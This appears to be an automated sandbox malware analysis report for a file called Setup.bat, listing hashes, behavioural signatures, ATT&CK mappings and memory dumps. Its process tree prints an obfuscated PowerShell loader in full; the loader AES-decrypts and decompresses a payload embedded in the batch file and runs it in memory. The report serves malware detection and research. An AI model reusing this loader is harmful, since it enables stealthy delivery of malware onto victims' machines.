b9c1108acaa4c76cc5ebab05af7a7a22815934495f436d1b24ce5ea4a1f52523

General

Target

Setup.bat
Size

851KB
MD5

836da5f306323ef77ef9d202b27db8ed
SHA1

ac9b73d0e25103d01d712351b272567242731870
SHA256

b9c1108acaa4c76cc5ebab05af7a7a22815934495f436d1b24ce5ea4a1f52523
SHA512

e6eddb5f1eb2e18aa329b3d6acb82d8fb314bfb8b498d03f8c4973eb8e0009c12f4006afbae9d4f2a961b89136ba36e6003f4d42e8a4c2fc97327969a5dc5bd5
SSDEEP

24576:V5+Xu6sU5JOLdY425uawdKz+ZApMYtviru/LndyZDxO3B:M5Jk2PwdKz+bC+udyZVO3B

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1068	Setup.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
1040	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1108	powershell.exe
1068	Setup.bat.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1108	powershell.exe
Token: SeDebugPrivilege	1068	Setup.bat.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1040 wrote to memory of 1108	1040	cmd.exe	28
PID 1040 wrote to memory of 1108	1040	cmd.exe	28
PID 1040 wrote to memory of 1108	1040	cmd.exe	28
PID 1040 wrote to memory of 1068	1040	cmd.exe	29
PID 1040 wrote to memory of 1068	1040	cmd.exe	29
PID 1040 wrote to memory of 1068	1040	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Setup.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -c #
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1108
- C:\Users\Admin\AppData\Local\Temp\Setup.bat.exe
  "C:\Users\Admin\AppData\Local\Temp\Setup.bat.exe" function cJ($p){$p.Replace('rKwQ', '')}$xTri=cJ 'ReadrKwQLinerKwQsrKwQ';$AnGh=cJ 'ChrKwQangrKwQeExrKwQtensrKwQionrKwQ';$beFr=cJ 'CrerKwQaterKwQDecrKwQryprKwQtorKwQrrKwQ';$zhbO=cJ 'FirrKwQstrKwQ';$kics=cJ 'ErKwQntrKwQryPrKwQoirKwQntrKwQ';$Sprr=cJ 'TrrKwQanrKwQsrKwQforKwQrmFrKwQinarKwQlBrKwQlorKwQckrKwQ';$bhNq=cJ 'GetrKwQCurKwQrrrKwQenrKwQtPrKwQrrKwQocesrKwQsrKwQ';$MtwQ=cJ 'LrKwQorKwQadrKwQ';$jLWF=cJ 'InrKwQvorKwQkerKwQ';$POzg=cJ 'FromrKwQBarKwQse6rKwQ4StrKwQrirKwQngrKwQ';function kRnlq($exGsi,$aqCVf,$JlGln){$vRtve=[System.Security.Cryptography.Aes]::Create();$vRtve.Mode=[System.Security.Cryptography.CipherMode]::CBC;$vRtve.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$vRtve.Key=[System.Convert]::$POzg($aqCVf);$vRtve.IV=[System.Convert]::$POzg($JlGln);$KhygM=$vRtve.$beFr();$awxFP=$KhygM.$Sprr($exGsi,0,$exGsi.Length);$KhygM.Dispose();$vRtve.Dispose();$awxFP;}function GxEJe($exGsi){$CkRZq=New-Object System.IO.MemoryStream(,$exGsi);$PjiLu=New-Object System.IO.MemoryStream;$oGaVi=New-Object System.IO.Compression.GZipStream($CkRZq,[IO.Compression.CompressionMode]::Decompress);$oGaVi.CopyTo($PjiLu);$oGaVi.Dispose();$CkRZq.Dispose();$PjiLu.Dispose();$PjiLu.ToArray();}function gEeVK($exGsi,$aqCVf){[System.Reflection.Assembly]::$MtwQ([byte[]]$exGsi).$kics.$jLWF($null,$aqCVf);}$Rlhuk=[System.Linq.Enumerable]::$zhbO([System.IO.File]::$xTri([System.IO.Path]::$AnGh([System.Diagnostics.Process]::$bhNq().MainModule.FileName, $null)));$KvEFp = $Rlhuk.Substring(3).Split('\');$eIviz=GxEJe (kRnlq ([Convert]::$POzg($KvEFp[0])) $KvEFp[2] $KvEFp[3]);$UosgH=GxEJe (kRnlq ([Convert]::$POzg($KvEFp[1])) $KvEFp[2] $KvEFp[3]);gEeVK $UosgH $null;gEeVK $eIviz $null;
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1068

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Setup.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\Setup.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/1068-71-0x0000000002750000-0x00000000027D0000-memory.dmp

Filesize
512KB

Download
memory/1068-69-0x000000001B0D0000-0x000000001B3B2000-memory.dmp

Filesize
2.9MB

Download
memory/1068-70-0x00000000002D0000-0x00000000002D8000-memory.dmp

Filesize
32KB

Download
memory/1068-72-0x0000000002750000-0x00000000027D0000-memory.dmp

Filesize
512KB

Download
memory/1068-73-0x0000000002750000-0x00000000027D0000-memory.dmp

Filesize
512KB

Download
memory/1068-74-0x000000000275B000-0x0000000002792000-memory.dmp

Filesize
220KB

Download
memory/1108-61-0x0000000002570000-0x0000000002578000-memory.dmp

Filesize
32KB

Download
memory/1108-62-0x00000000027AB000-0x00000000027E2000-memory.dmp

Filesize
220KB

Download
memory/1108-60-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download
memory/1108-59-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download
memory/1108-58-0x000000001B150000-0x000000001B432000-memory.dmp

Filesize
2.9MB

Download

Analysis

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